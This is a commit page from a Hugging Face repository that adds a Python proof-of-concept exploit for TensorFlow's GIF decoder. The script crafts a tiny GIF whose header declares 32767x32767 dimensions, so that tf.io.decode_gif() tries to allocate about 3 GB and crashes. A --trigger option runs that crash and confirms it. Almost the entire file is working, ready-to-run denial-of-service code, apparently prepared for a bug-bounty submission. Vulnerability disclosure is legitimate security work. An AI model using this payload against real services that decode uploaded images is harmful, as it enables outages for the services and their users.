Upload poc_exploit.py with huggingface_hub
Browse files- poc_exploit.py +114 -0
poc_exploit.py
ADDED
|
@@ -0,0 +1,114 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: TensorFlow GIF Decoder Unbounded Memory Allocation (DoS)
|
| 4 |
+
CVE: TBD | CWE-770 | CVSS 7.5
|
| 5 |
+
|
| 6 |
+
Vulnerability:
|
| 7 |
+
tensorflow/core/kernels/image/decode_image_op.cc — DecodeGifV2 computes
|
| 8 |
+
total_pixels = num_frames * height * width * channels from GIF metadata
|
| 9 |
+
and allocates that many bytes WITHOUT any upper bound check.
|
| 10 |
+
|
| 11 |
+
Compare with DecodeBmpV2 in the SAME file which checks:
|
| 12 |
+
OP_REQUIRES(context, total_bytes < (1LL << 30),
|
| 13 |
+
errors::InvalidArgument("BMP total bytes exceeds 2^30"));
|
| 14 |
+
|
| 15 |
+
GIF has NO equivalent check — attacker sets width/height in GIF header
|
| 16 |
+
to trigger multi-gigabyte allocation.
|
| 17 |
+
|
| 18 |
+
Attack:
|
| 19 |
+
Craft a GIF89a file with Logical Screen Width/Height = 32767 (max uint16)
|
| 20 |
+
and num_frames = 1. Total allocation attempt: ~3 GB.
|
| 21 |
+
tf.io.decode_gif() on this file → OOM crash.
|
| 22 |
+
|
| 23 |
+
Usage:
|
| 24 |
+
python3 poc_exploit.py # generates malicious.gif
|
| 25 |
+
python3 poc_exploit.py --trigger # also triggers via tf.io.decode_gif()
|
| 26 |
+
|
| 27 |
+
Author: security research (huntr.com submission)
|
| 28 |
+
"""
|
| 29 |
+
|
| 30 |
+
import sys
|
| 31 |
+
import os
|
| 32 |
+
import struct
|
| 33 |
+
|
| 34 |
+
OUTPUT_FILE = 'malicious_huge.gif'
|
| 35 |
+
|
| 36 |
+
|
| 37 |
+
def create_malicious_gif(width: int = 32767, height: int = 32767) -> bytes:
|
| 38 |
+
"""
|
| 39 |
+
Craft a minimal GIF89a file with huge declared dimensions.
|
| 40 |
+
|
| 41 |
+
GIF89a header format (first 13 bytes):
|
| 42 |
+
Bytes 0-2: GIF signature 'GIF'
|
| 43 |
+
Bytes 3-5: Version '89a'
|
| 44 |
+
Bytes 6-7: Logical Screen Width (uint16 LE)
|
| 45 |
+
Bytes 8-9: Logical Screen Height (uint16 LE)
|
| 46 |
+
Byte 10: Packed field (Global Color Table Flag, etc.)
|
| 47 |
+
Byte 11: Background Color Index
|
| 48 |
+
Byte 12: Pixel Aspect Ratio
|
| 49 |
+
|
| 50 |
+
TF reads width/height from this header and calls:
|
| 51 |
+
allocate_output(0, TensorShape({num_frames, height, width, channels}))
|
| 52 |
+
"""
|
| 53 |
+
# GIF89a signature + header
|
| 54 |
+
header = b'GIF89a'
|
| 55 |
+
header += struct.pack('<HH', width, height) # width, height (huge!)
|
| 56 |
+
header += bytes([0x00, # Packed: no global color table
|
| 57 |
+
0x00, # Background color index
|
| 58 |
+
0x00]) # Pixel aspect ratio
|
| 59 |
+
|
| 60 |
+
# Minimal Image Descriptor (0x2C = Image Separator)
|
| 61 |
+
image_desc = b'\x2C' # Image Separator
|
| 62 |
+
image_desc += struct.pack('<HH', 0, 0) # left, top
|
| 63 |
+
image_desc += struct.pack('<HH', width, height) # width, height
|
| 64 |
+
image_desc += b'\x00' # Packed: no local color table
|
| 65 |
+
|
| 66 |
+
# Minimal LZW data (1x1 transparent frame to keep it parseable)
|
| 67 |
+
min_lzw_code_size = b'\x02' # LZW minimum code size
|
| 68 |
+
lzw_data = b'\x02\x4C\x01\x00' # minimal valid LZW block
|
| 69 |
+
sub_block_terminator = b'\x00'
|
| 70 |
+
|
| 71 |
+
# GIF Trailer
|
| 72 |
+
trailer = b'\x3B'
|
| 73 |
+
|
| 74 |
+
payload = header + image_desc + min_lzw_code_size + lzw_data + sub_block_terminator + trailer
|
| 75 |
+
|
| 76 |
+
total_bytes_attempt = width * height * 3 # RGB
|
| 77 |
+
print(f"[*] Crafted malicious GIF89a:")
|
| 78 |
+
print(f" Dimensions : {width} x {height} pixels")
|
| 79 |
+
print(f" Channels : 3 (RGB)")
|
| 80 |
+
print(f" Alloc attempt: {total_bytes_attempt:,} bytes = {total_bytes_attempt/1e9:.2f} GB")
|
| 81 |
+
print(f" File size : {len(payload)} bytes (minimal header only)")
|
| 82 |
+
print(f" BMP decoder: would REJECT (limit 2^30 = 1,073,741,824 bytes)")
|
| 83 |
+
print(f" GIF decoder: NO LIMIT → allocates {total_bytes_attempt/1e9:.2f} GB")
|
| 84 |
+
return payload
|
| 85 |
+
|
| 86 |
+
|
| 87 |
+
def main():
|
| 88 |
+
trigger = '--trigger' in sys.argv
|
| 89 |
+
|
| 90 |
+
payload = create_malicious_gif()
|
| 91 |
+
with open(OUTPUT_FILE, 'wb') as f:
|
| 92 |
+
f.write(payload)
|
| 93 |
+
print(f"[+] Malicious GIF written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
|
| 94 |
+
|
| 95 |
+
if trigger:
|
| 96 |
+
print(f"\n[*] Triggering via tf.io.decode_gif('{OUTPUT_FILE}')...")
|
| 97 |
+
try:
|
| 98 |
+
import tensorflow as tf
|
| 99 |
+
print(f" TensorFlow version: {tf.__version__}")
|
| 100 |
+
gif_bytes = open(OUTPUT_FILE, 'rb').read()
|
| 101 |
+
result = tf.io.decode_gif(gif_bytes)
|
| 102 |
+
print(f"[-] Unexpected success: shape={result.shape}")
|
| 103 |
+
except tf.errors.ResourceExhaustedError as e:
|
| 104 |
+
print(f"[+] CRASH CONFIRMED: ResourceExhaustedError (OOM) — {e}")
|
| 105 |
+
except MemoryError:
|
| 106 |
+
print(f"[+] CRASH CONFIRMED: Python MemoryError")
|
| 107 |
+
except Exception as e:
|
| 108 |
+
print(f"[~] Exception: {type(e).__name__}: {e}")
|
| 109 |
+
else:
|
| 110 |
+
print(f"\n[i] Run with --trigger to demonstrate the crash:")
|
| 111 |
+
print(f" python3 {sys.argv[0]} --trigger")
|
| 112 |
+
|
| 113 |
+
if __name__ == '__main__':
|
| 114 |
+
main()
|